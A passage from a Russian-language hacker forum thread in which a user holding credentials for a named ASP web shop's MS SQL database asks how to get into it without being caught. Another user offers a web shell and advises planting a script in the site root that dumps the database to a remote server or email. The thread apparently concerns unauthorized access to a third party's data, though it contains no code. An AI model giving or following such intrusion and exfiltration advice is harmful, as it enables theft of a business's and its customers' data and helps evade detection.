Сам понимаешь, что не в тему, зачем пишешь? ТС ответ на свой вопрос хочет услышать, а ты другое ему говоришь.
Да и в следующий раз для вставки кода нажми пожалуйста кнопочку "code"…
Post #: 9
RE: сайт на asp - 2008-08-16 02:13:57.800000   
magistr_bender

Сообщений: 977
Оценки: 0
Присоединился: 2008-02-22 20:10:21.133333
fixed)
а может ему мой шэл пригоднится.. )
Post #: 10
RE: сайт на asp - 2008-08-16 15:41:29.240000   
shaloman

Сообщений: 99
Оценки: 0
Присоединился: 2008-02-24 18:58:48.283333
magistr_bender Сайт на asp.

Файлов с конфигом 2шт, тупо нечего нет, я попробывал соединиться с базой через SQLyog Enterprise, но неполучилось. Название бд, пользователь, пасс у меня есть. Вот инфа о базе "Базы MS SQL 2000/2005 версия 2000".
Сайты находяться на http://hosting.parking.ru, сам сайт w w w .1 a - p a r k e t t . c o m это интернет магазин, стоит 700$ приобрести его можно тоже на hosting.parking.ru
Post #: 11
RE: сайт на asp - 2008-08-16 15:55:23.310000   
shaloman

Сообщений: 99
Оценки: 0
Присоединился: 2008-02-24 18:58:48.283333
}{roft Искал sqlшники потомучто думал что есть папка backups где есть резервки (это к примеру).

Короче незнаю как правильно написать, но попробую. В php если же залить на серв phpmyadmin то можноже к бд без проблем попасть зная логин и пароль, а как к asp я незнаю и пока непробывал. И что сделать чтобы незапалиться?
Post #: 12
RE: сайт на asp - 2008-08-17 13:31:40.753333   
shaloman

Сообщений: 99
Оценки: 0
Присоединился: 2008-02-24 18:58:48.283333
Слейте куданить sqlмнджр.
Post #: 13
RE: сайт на asp - 2008-08-17 23:04:02.333333   
magistr_bender

Сообщений: 977
Оценки: 0
Присоединился: 2008-02-22 20:10:21.133333
непоможет… я так думаю база доступ только с локалхоста..
так что лей скрипт в корень который будет делать дамп на удалённый сервер.. или пусть на мыло скидывает прикреплением..
а если надо скул менеджер то юзай навикат он лучший navicat название
Post #: 14
RE: сайт на asp - 2008-08-18 09:59:24.783333   
shaloman

Сообщений: 99
Оценки: 0
Присоединился: 2008-02-24 18:58:48.283333
Не соединяется, пробывал через стандартынй порт 3306 сразу дисконект, а есть 1433 как написанно в акк у хостера то тогда долго ждёт и потом отрубает. Я Пробывал уже на 4 прогах Navicat for MySQL, SQLyog Enterprise, SQL Manager for MySQL, MySQL Manager 2.
Post #: 15
RE: сайт на asp - 2008-08-18 10:35:03.313333   
oRb

Сообщений: 4044
Оценки: 597
Присоединился: 2007-03-28 18:45:06.630000
У нормальных хостеров доступ к базе осуществляеться только с той машины, на которой сайт висит.
Post #: 16
RE: сайт на asp - 2008-08-18 11:07:37.920000   
shaloman

Сообщений: 99
Оценки: 0
Присоединился: 2008-02-24 18:58:48.283333
:@скрипт подскажите типо phpmyadmin:D
Post #: 17
RE: сайт на asp - 2008-08-18 21:42:37.143333   
shaloman

Сообщений: 99
Оценки: 0
Присоединился: 2008-02-24 18:58:48.283333
Тема Закрыти [sm=cu.gif]
Post #: 18
Страниц:  [1]
Все форумы >> [Веб-программинг] >> сайт на asp







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.